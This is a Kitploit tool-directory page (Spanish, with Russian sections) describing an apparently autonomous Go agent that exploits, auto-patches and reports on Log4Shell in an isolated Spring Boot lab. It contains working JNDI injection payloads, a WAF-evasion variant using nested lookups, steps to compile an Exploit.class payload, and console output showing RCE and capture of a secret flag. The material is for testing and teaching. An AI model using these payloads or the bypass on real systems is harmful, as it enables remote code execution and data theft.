Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Log4ShellAuditor — Un agente Go autónomo y reflexivo para auditoría de seguridad de ciclo completo, evasión de WAF, verificación LDAP OOB, autocorrección (parcheo automático) e informes de cumplimiento para CVE-2021-44228 (Log4Shell). | Kitploit
Herramientas/GitHubGitHub/c00ln3t/log4shellauditor
Escáneres de VulnerabilidadesGeneración de PayloadsEscaneo de PuertosExplotaciónExplotación de Aplicaciones WebEvasión de WAFPruebas de PenetraciónDevSecOpsLabs y Práctica
GitHubc00ln3t/log4shellauditor

Log4ShellAuditor

Un agente Go autónomo y reflexivo para auditoría de seguridad de ciclo completo, evasión de WAF, verificación LDAP OOB, autocorrección (parcheo automático) e informes de cumplimiento para CVE-2021-44228 (Log4Shell).

19hace 23 díasAún no revisado
Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

AUTO AUDIT Banner

🤖 AUTO AUDIT

Banco de demostración aislado de un agente ejecutor reflexivo autónomo (Go/Java)

Русский 🇷🇺 • English 🇬🇧 • 中文 🇨🇳 • Español 🇪🇸 • Deutsch 🇩🇪 • Italiano 🇮🇹 • العربية 🇸🇦

Go Version Java Version Maven

License
Views
Clones

🧭 Información general

[!NOTE] AUTO AUDIT es un sistema de software que demuestra un ciclo cerrado 100% autónomo (Sense-Think-Act) de detección, verificación, explotación, corrección automática (Self-Healing / Auto-Remediation) y generación de informes de cumplimiento para la vulnerabilidad crítica Log4Shell (CVE-2021-44228 / БДУ ФСТЭК:2021-06103).

El banco de pruebas despliega una aplicación web local basada en Java Spring Boot, un LDAP TCP Callback Listener integrado y el núcleo cognitivo del agente Go, que toma decisiones en condiciones de observabilidad parcial del entorno externo (Partially Observable Markov Decision Process — POMDP).```mermaid %%{init: { 'theme': 'dark', 'themeVariables': { 'background': '#0f172a', 'primaryColor': '#1e293b', 'primaryTextColor': '#cbd5e1', 'primaryBorderColor': '#3b82f6', 'lineColor': '#38bdf8', 'secondaryColor': '#1e1b4b', 'tertiaryColor': '#0f172a', 'edgeLabelBackground': '#0f172a' } }}%% graph TD classDef sense fill:#0284c7,stroke:#0ea5e9,stroke-width:2px,color:#fff; classDef think fill:#4f46e5,stroke:#6366f1,stroke-width:2px,color:#fff; classDef act fill:#059669,stroke:#10b981,stroke-width:2px,color:#fff; classDef target fill:#dc2626,stroke:#ef4444,stroke-width:2px,color:#fff;

root@kitploit:~
subgraph Sense ["🔍 СЕНСОРНЫЙ АНАЛИЗ (Sense)"]
    A[Внешние отклики / TCP-коллбеки]:::sense --> B(Обновление Базы Знаний):::sense
end
subgraph Think ["🧠 КОГНИТИВНОЕ ЯДРО (Think)"]
    B --> C{Вычисление Utility Policy}:::think
    C -->|Рефлексивный вывод| D[Выбор эффектора из реестра]:::think
end
subgraph subgraph_Act ["⚡ ИСПОЛНЕНИЕ (Act)"]
    D --> E[Выполнение Tool.Execute]:::act
    E -->|Воздействие| F((Java Spring Boot Target)):::target
    F -.->|Обратный канал OOB| A
end
root@kitploit:~
---

## 🛠️ Arquitectura técnica y componentes

La estructura del software del agente está diseñada siguiendo los principios de la arquitectura limpia (*Hexagonal Architecture / Ports and Adapters*), SOLID y TDD:

* 📂 **[cmd/agent/main.go](https://github.com/c00ln3t/log4shellauditor/blob/main/cmd/agent/main.go)** — Punto de entrada. Gestiona el ciclo de vida de los procesos en segundo plano y coordina el lanzamiento de la goroutine del agente.
* 📂 **`internal/`** — La lógica de negocio principal del bucle cognitivo:
  * 🧠 **[agent/agent.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/agent/agent.go)** — Bucle cognitivo. Implementa el ciclo de control y la regla de decisión para la selección de estrategia `Think()`.
  * 💾 **[core/model.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/core/model.go)** — Base de conocimiento segura para subprocesos (`KnowledgeBase` / LTM) basada en `sync.RWMutex`.
  * 🔌 **[core/effector.go](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/core/effector.go)** — Interfaz `Tool` para los efectores.
  * ⚙️ **[effectors/](https://github.com/c00ln3t/log4shellauditor/blob/main/internal/effectors)** — Registro de efectores polimórficos (herramientas):
    * 🔍 `ToolPortScanner` — Reconocimiento del perímetro de red.
    * 🌐 `ToolDiscovery` — Búsqueda de puntos de articulación y vectores de entrada (`X-Api-Version`).
    * 🔬 `ToolPayloadGenerator` — Síntesis del vector de firma JNDI.
    * 🚀 `ToolProber` — Comprobación de la vulnerabilidad mediante trazado fuera de banda (Out-of-Band).
    * 🛡️ `ToolSemanticFuzzer` — Evasión de clasificadores de filtrado (WAF Evasion) mediante mutaciones sintácticas anidadas.
    * 🩹 `ToolRemediator` — Aplicación automática de parches (Self-Healing).
    * 📄 `ToolReporter` — Generación del informe de acuerdo con GOST R 56939-2016.
* 📂 **`pkg/`** — Paquetes y bibliotecas auxiliares:
  * 📡 **[oob/](https://github.com/c00ln3t/log4shellauditor/blob/main/pkg/oob)** — Escuchadores fuera de banda (LDAP y HTTP).
  * ☕ **[jvm/](https://github.com/c00ln3t/log4shellauditor/blob/main/pkg/jvm)** — Gestión del ciclo de vida y del reinicio del objetivo Java local.
* 📂 **[deployments/](https://github.com/c00ln3t/log4shellauditor/blob/main/deployments)** — Archivos de configuración para el despliegue (Docker, Compose).
* 📂 **[test/vulnerable-app/](https://github.com/c00ln3t/log4shellauditor/blob/main/test/vulnerable-app)** — Aplicación de prueba vulnerable Java Spring Boot.

---

## 🎯 Aparato matemático y especificación del ciclo cognitivo (Think-Act Loop)

La toma de decisiones del agente se formaliza como un **proceso de decisión de Markov parcialmente observable (POMDP)**, descrito por la tupla $\langle S, A, T, R, \Omega, O, \gamma \rangle$:
* $S$ — espacio discreto de estados ocultos del entorno objetivo (disponibilidad del puerto, presencia de parámetros vulnerables, actividad del WAF, hecho de compromiso, estado del parcheo, presencia del informe de cumplimiento).
* $A$ — espacio de acciones de los efectores (invocación de herramientas: `port_scanner`, `discovery`, `payload_generator`, `prober`, `semantic_fuzzer`, `remediator`, `reporter`, `stop`).
* $\Omega$ — espacio de observaciones (respuestas HTTP recibidas, callbacks TCP OOB, registros del sistema de archivos).
* $O(o \mid s', a)$ — función de observación que determina la probabilidad de obtener una respuesta $o \in \Omega$.

### 1. Vector de creencia (Belief State)
El agente no tiene información directa sobre el estado oculto del entorno $s \in S$ y opera con un vector de creencia $b(s)$ — una distribución de probabilidad sobre $S$, que se almacena y actualiza dinámicamente en la memoria `KnowledgeBase`:
* $b(S_{recon}) \in \{0, 1\}$ — estado del reconocimiento de red (puerto abierto/cerrado). Se refleja en `ToolPerformance["port_scanner"]`.
* $b(S_{discovery}) \in \{0, 1\}$ — mapeo de vectores de entrada (si se encontraron parámetros). Se refleja en `len(DiscoveryVectors) > 0`.
* $b(S_{payload}) \in \{0, 1\}$ — disponibilidad de la firma de exploit. Se refleja en `len(CustomPayloads) > 0`.
* $b(S_{exploit}) \in \{0, 1\}$ — estado de compromiso (presencia de Loot/Flag). Se refleja en `len(Loot) > 0`.
* $b(S_{patch}) \in \{0, 1\}$ — hecho de la localización de la vulnerabilidad. Se refleja en `PatchApplied`.
* $b(S_{verify}) \in \{0, 1\}$ — verificación de la ausencia de un nuevo disparo OOB. Se refleja en `PatchVerified`.
* $b(S_{report}) \in \{0, 1\}$ — generación del informe reglamentado. Se refleja en `ReportGenerated`.

### 2. Función de la regla de decisión (Policy Mapping)
La función de toma de decisiones `Think()` implementa una regla de decisión determinista $\pi: B \to A$, que mapea secuencialmente el estado de creencia acumulado actual $b$ a la acción óptima del efector $a \in A$.

### 3. Aprendizaje adaptativo y evaluación de la eficiencia de las herramientas
Para cada herramienta $a \in A$, en la memoria `ToolStats` se acumula estadística y se calcula un indicador de utilidad (Efficiency Score):

$$\text{EfficiencyScore}(a) = \frac{SuccessCount_a}{UsageCount_a}$$

El agente utiliza estos indicadores para cambiar dinámicamente la trayectoria: si la sonda primaria `prober` termina en fallo ($\text{EfficiencyScore}(\text{prober}) = 0$), el agente identifica la presencia de filtrado en el nodo objetivo (WAF), activa la estrategia compensatoria de evasión de WAF mediante la herramienta `semantic_fuzzer` y realiza la mutación del vector de inyección.

### Escenario paso a paso del funcionamiento del banco de pruebas:

| Paso | Herramienta seleccionada | Acción y mecánica del proceso | Cambio en el Belief State |
| :--- | :--- | :--- | :--- |
| **1** | `port_scanner` | Comprobación del socket TCP del host `:8080`. | Se detecta el puerto HTTP abierto del servicio web ($b(S_{recon}) = 1$). |
| **2** | `discovery` | Ejecución de una petición GET, parseo del DOM y de las cabeceras. | Se identifica el vector de entrada: cabecera `X-Api-Version` ($b(S_{discovery}) = 1$). |
| **3** | `payload_generator` | Síntesis del vector de exploit básico. | La base de datos se completa con la cadena `\${jndi:ldap://127.0.0.1:1389/Exploit\}` ($b(S_{payload}) = 1$). |
| **4** | `prober` | Ataque primario. El agente envía la carga útil. | El intento es bloqueado por el WAF. $\text{EfficiencyScore}(\text{prober}) = 0$. |
| **5** | `semantic_fuzzer` | Ofuscación de la firma mediante nested lookups. | Se genera una firma mutada ($b(S_{payload}) = 1$, WAF bypass). |
| **6** | `prober` | Ataque con el vector ofuscado. | El listener LDAP integrado registra una conexión TCP entrante. Se detecta el hecho de RCE ($b(S_{exploit}) = 1$). |
| **7** | `remediator` | Corrección automática. Escritura del flag en `remediation.properties` y reinicio de la JVM. | El proceso Spring Boot se reinicia con el flag `-Dlog4j2.formatMsgNoLookups=true` ($b(S_{patch}) = 1$). |
| **8** | `prober` | Verificación (solicitud de sondeo repetida). | Espera de una conexión OOB en el puerto `1389`. No se recibe conexión $\rightarrow$ $b(S_{verify}) = 1$. |
| **9** | `reporter` | Generación del informe en markdown. | El documento `reports/cve_2021_44228_report.md` ha sido generado ($b(S_{report}) = 1$). |
| **10**| `stop` | Terminación. | Fin de la ejecución. |

## 📊 Diagramas de flujo de los algoritmos

### 1. Algoritmo general de funcionamiento del agente (Sense-Think-Act Loop)
Este diagrama describe el ciclo de vida continuo del funcionamiento del agente: desde el arranque y la inicialización de la base de conocimiento hasta la finalización de la sesión de auditoría.```mermaid
%%{init: {
  'theme': 'dark',
  'themeVariables': {
    'background': '#0f172a',
    'primaryColor': '#1e293b',
    'primaryTextColor': '#cbd5e1',
    'primaryBorderColor': '#475569',
    'lineColor': '#38bdf8',
    'secondaryColor': '#1e293b'
  }
}}%%
flowchart TD
    classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc;
    classDef step fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0;
    classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0;
    classDef action fill:#022c22,stroke:#10b981,stroke-width:1px,color:#e2e8f0;

    Start([Начало]):::startEnd --> Init[Инициализация StandaloneExecutor и KnowledgeBase]:::step
    Init --> LoopStart{Цикл принятия решений}:::decision
    
    %% Think Phase
    LoopStart --> Think["Think: Выбор оптимального инструмента a = Think()"]:::decision
    
    %% Branch on Stop
    Think --> IsStop{a == 'stop'?}:::decision
    IsStop -- Да --> Terminate([Завершение работы агента]):::startEnd
    
    %% Act Phase
    IsStop -- Нет --> FetchTool["Загрузка эффектора из реестра Tools[a]"]:::step
    FetchTool --> Execute[Act: Выполнение Tool.Execute]:::action
    
    %% Sense Phase
    Execute --> Sense[Sense: Получение обратной связи из внешней среды]:::action
    Sense --> UpdateStats[Обновление статистики ToolStats в памяти]:::step
    UpdateStats --> RecordObs[Запись наблюдения в Observations]:::step
    
    %% Wait
    RecordObs --> Delay[Задержка 800 мс]:::step
    Delay --> LoopStart

2. Algoritmo del núcleo cognitivo de toma de decisiones (Think)

Este esquema describe en detalle la lógica de selección del siguiente paso basada en el vector de confianza acumulado actual (Belief State) dentro de la función Think():```mermaid %%{init: { 'theme': 'dark', 'themeVariables': { 'background': '#0f172a', 'primaryColor': '#1e293b', 'primaryTextColor': '#cbd5e1', 'primaryBorderColor': '#475569', 'lineColor': '#38bdf8', 'secondaryColor': '#1e293b' } }}%% flowchart TD classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc; classDef process fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0; classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0; classDef selection fill:#064e3b,stroke:#10b981,stroke-width:1px,color:#e2e8f0;

root@kitploit:~
Start(["Вызов Think()"]):::startEnd --> Lock["Блокировка памяти RLock()"]:::process
Lock --> ReadState[Чтение вектора доверия b]:::process

%% Step 1
ReadState --> PortScan{port_scanner выполнен?}:::decision
PortScan -- Нет --> RetPortScan[Выбрать 'port_scanner']:::selection

%% Step 2
PortScan -- Да --> Discovery{Найдено векторов ввода?}:::decision
Discovery -- Нет --> RetDiscovery[Выбрать 'discovery']:::selection

%% Step 3
Discovery -- Да --> Payload{Сгенерирована эксплоит-сигнатура?}:::decision
Payload -- Нет --> RetPayload[Выбрать 'payload_generator']:::selection

%% Step 4 (Exploit)
Payload -- Да --> Loot{Флаг RCE перехвачен?}:::decision
Loot -- Нет --> ProberStats{Была попытка prober?}:::decision

ProberStats -- Нет --> RetProber[Выбрать 'prober']:::selection
ProberStats -- Да --> FuzzerStats{Fuzzer выполнен?}:::decision
FuzzerStats -- Нет --> RetFuzzer[Выбрать 'semantic_fuzzer']:::selection
FuzzerStats -- Да --> RetProber:::selection

%% Step 5
Loot -- Да --> Patch{Патч применен?}:::decision
Patch -- Нет --> RetRemediator[Выбрать 'remediator']:::selection

%% Step 6
Patch -- Да --> Verify{Патч верифицирован?}:::decision
Verify -- Нет --> RetProberVerify[Выбрать 'prober' в режиме верификации]:::selection

%% Step 7
Verify -- Да --> Report{Отчет сформирован?}:::decision
Report -- Нет --> RetReporter[Выбрать 'reporter']:::selection

%% Step 8
Report -- Да --> RetStop[Выбрать 'stop']:::selection

%% Return Statements
RetPortScan --> Unlock["Разблокировка RUnlock()"]:::process
RetDiscovery --> Unlock
RetPayload --> Unlock
RetProber --> Unlock
RetFuzzer --> Unlock
RetRemediator --> Unlock
RetProberVerify --> Unlock
RetReporter --> Unlock
RetStop --> Unlock

Unlock --> End([Возврат выбранного инструмента]):::startEnd
root@kitploit:~
---

## 📦 Especificación de la aplicación Java vulnerable

La aplicación objetivo en el directorio `test/vulnerable-app/` es un servicio REST mínimo basado en **Spring Boot 2.7.18** con versiones deliberadamente reducidas de las bibliotecas **Apache Log4j2**:```xml
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version> <!-- Уязвимая версия, поддерживающая lookup JNDI -->
</dependency>

El controlador vulnerable registra los encabezados HTTP entrantes sin saneamiento previo:```java logger.info("[AUDIT] API Version header logged: {}", apiVersion);

root@kitploit:~
Al recibir una cadena de la forma `\${jndi:ldap://...\}`, el logger inicia la resolución de la dirección JNDI, enviando una solicitud mediante el protocolo LDAP al puerto `1389`.

---

## 🚀 Instrucciones de ejecución

El entorno de demostración admite dos modos de implementación: ejecución local directamente en el sistema host (Opción A) o ejecución totalmente contenedorizada en un entorno de red aislado mediante Docker Compose (Opción B).

### Opción A. Ejecución local en el sistema host

#### Requisitos previos
* **JDK 17+** (compruébelo con `java -version`)
* **Maven 3.8+** (compruébelo con `mvn -version`)
* **Go 1.21+** (compruébelo con `go version`)

#### 1. Compilación del microservicio Java
Compile el objetivo Java en un artefacto JAR gordo (fat JAR):```bash
cd test/vulnerable-app
mvn clean package
cd ../..

Asegúrate de que en el directorio test/vulnerable-app/target/ se haya creado correctamente el archivo vulnerable-app-simple-1.0.0.jar.

2. Compilación del payload del exploit

Compile la clase Java Exploit que será servida por el servidor HTTP:```bash javac internal/payload/Exploit.java

root@kitploit:~
#### 3. Compilación y ejecución del banco de pruebas de demostración
Ejecución en modo de interpretación de Go sobre la marcha:```bash
go run ./cmd/agent

O compile en un archivo binario ejecutable:```bash go build -o test_agent ./cmd/agent ./test_agent

root@kitploit:~
---

### Opción B. Ejecución en un entorno Docker aislado (Docker Compose)

> [!TIP]
> Esta opción no requiere instalar Go, Java ni Maven en su sistema host. Todo el entorno se compila y se orquesta automáticamente en una red virtual aislada `172.20.0.0/16`.


#### Requisitos previos
* Tener instalados **Docker** y el complemento **Docker Compose** (compruébelo con `docker compose version`).

#### 1. Puesta en marcha del banco de pruebas
Ejecute la compilación de las imágenes y el arranque de los contenedores con un solo comando desde el directorio raíz del proyecto:```bash
docker compose -f deployments/docker-compose.yml up --build

2. Descripción de los procesos en los contenedores:

  • vulnerable-app compilará automáticamente la aplicación Java Spring Boot, escribirá la bandera secreta en el directorio restringido /var/lib/secret/flag.txt e iniciará el servidor web en el puerto :8080.
  • reflective-agent compilará el código Go del agente, compilará el payload Java Exploit.java, levantará los servidores OOB e iniciará el ciclo cognitivo.
  • La carpeta local reports/ en el sistema host está montada en el contenedor del agente: el informe GOST generado al final del trabajo se guardará automáticamente en su directorio reports/cve_2021_44228_report.md.

3. Detención del entorno

Para finalizar la simulación y eliminar los recursos de red, ejecute:```bash docker compose -f deployments/docker-compose.yml down

root@kitploit:~
---

## 📊 Ejemplo de salida de consola```text
=== ДЕМОНСТРАЦИОННЫЙ СТЕНД РЕАКТИВНОГО АГЕНТА (JAVA SPRING TARGET) ===
[*] Запуск скомпилированного уязвимого Java Spring приложения локально...
[*] Ожидание инициализации веб-контекста Spring (3.5 сек)...
[*] Инициализация агента-исполнителя для цели: http://localhost:8080
================================================================
[ВЫВОД] Выбран инструмент: 'port_scanner' (Текущая фаза: Reconnaissance)
[ЭФФЕКТОР:port_scanner] Сканирование порта localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружен открытый HTTP-порт localhost:8080. Java Spring Web-служба отвечает.

[ВЫВОД] Выбран инструмент: 'discovery' (Текущая фаза: Discovery)
[ЭФФЕКТОР:discovery] Исследование структуры веб-приложения http://localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружены потенциальные векторы ввода: GET-параметр '/?input=' и HTTP-заголовок 'X-Api-Version'.

[ВЫВОД] Выбран инструмент: 'payload_generator' (Текущая фаза: Discovery)
[ЭФФЕКТОР:payload_generator] Анализ уязвимостей и синтез сигнатур...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирована сигнатурная нагрузка для CVE-2021-44228: '${jndi:ldap://127.0.0.1:1389/Exploit}'.

[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${jndi:ldap://127.0.0.1:1389/Exploit}' на http://localhost:8080...
[НАБЛЮДЕНИЕ] FAILURE: Атака не удалась. Уязвимость не эксплуатирована или флаг не перехвачен.

[ВЫВОД] Выбран инструмент: 'semantic_fuzzer' (Текущая фаза: Discovery)
[ЭФФЕКТОР:semantic_fuzzer] Запуск обфускации и семантического фаззинга против WAF...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирован обфусцированный вектор обхода: '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}'.

[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}' на http://localhost:8080...
[LDAP SERVER] Получен LDAP BindRequest. Отправка BindResponse...
[LDAP SERVER] Получен LDAP SearchRequest. Отправка JNDI Referral...
[HTTP SERVER] Получен запрос на загрузку Exploit.class
[HTTP SERVER] >>> ПЕРЕХВАЧЕН СЕКРЕТНЫЙ ФЛАГ: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026} <<<
[НАБЛЮДЕНИЕ] SUCCESS: LDAP Callback получен на порту 1389. RCE отработал. Перехваченный флаг: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026}.

[ВЫВОД] Выбран инструмент: 'remediator' (Текущая фаза: Remediation)
[ЭФФЕКТОР:remediator] Анализ причин уязвимости и генерация исправления для http://localhost:8080...
[ЭФФЕКТОР:remediator] Отправка команды применения патча на http://localhost:8080/remediate...
[НАБЛЮДЕНИЕ] REMEDIATION_SUCCESS: Патч применен. На целевое приложение отправлен запрос ремедиации (изменен флаг -Dlog4j2.formatMsgNoLookups=true). JVM успешно переинициализирована.

[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Verification)
[ЭФФЕКТОР:prober] Верификация патча: Повторная атака уязвимости на http://localhost:8080...
[НАБЛЮДЕНИЕ] VERIFICATION_SUCCESS: Попытка эксплуатации отклонена сервером. Входящий TCP-коллбек на порт 1389 отсутствует. Уязвимость успешно устранена.

[ВЫВОД] Выбран инструмент: 'reporter' (Текущая фаза: Verification)
[ЭФФЕКТОР:reporter] Формирование отчета об уязвимости по стандартам РФ для http://localhost:8080...
[НАБЛЮДЕНИЕ] REPORT_SUCCESS: Отчет успешно сгенерирован и сохранен в файл 'reports/cve_2021_44228_report.md'.

================================================================
[INFO] Жизненный цикл аудита, патчинга и комплаенса завершен.

📜 Protección de la información y cumplimiento normativo

El informe generado por el agente en el archivo reports/cve_2021_44228_report.md tiene en cuenta los estándares clave de seguridad de la información rusos:

  • ГОСТ Р 56939-2016 — Desarrollo de software seguro.
  • ФЗ-152 — Requisitos para la protección de datos personales (ПДн) al detectar capacidades no declaradas.
  • ФЗ-187 — Garantizar la resiliencia de los objetos de la infraestructura crítica de información (КИИ РФ).

🛡️ Licencia

Este proyecto se distribuye bajo la licencia MIT. Los detalles se encuentran en el archivo LICENSE.

Descargar herramienta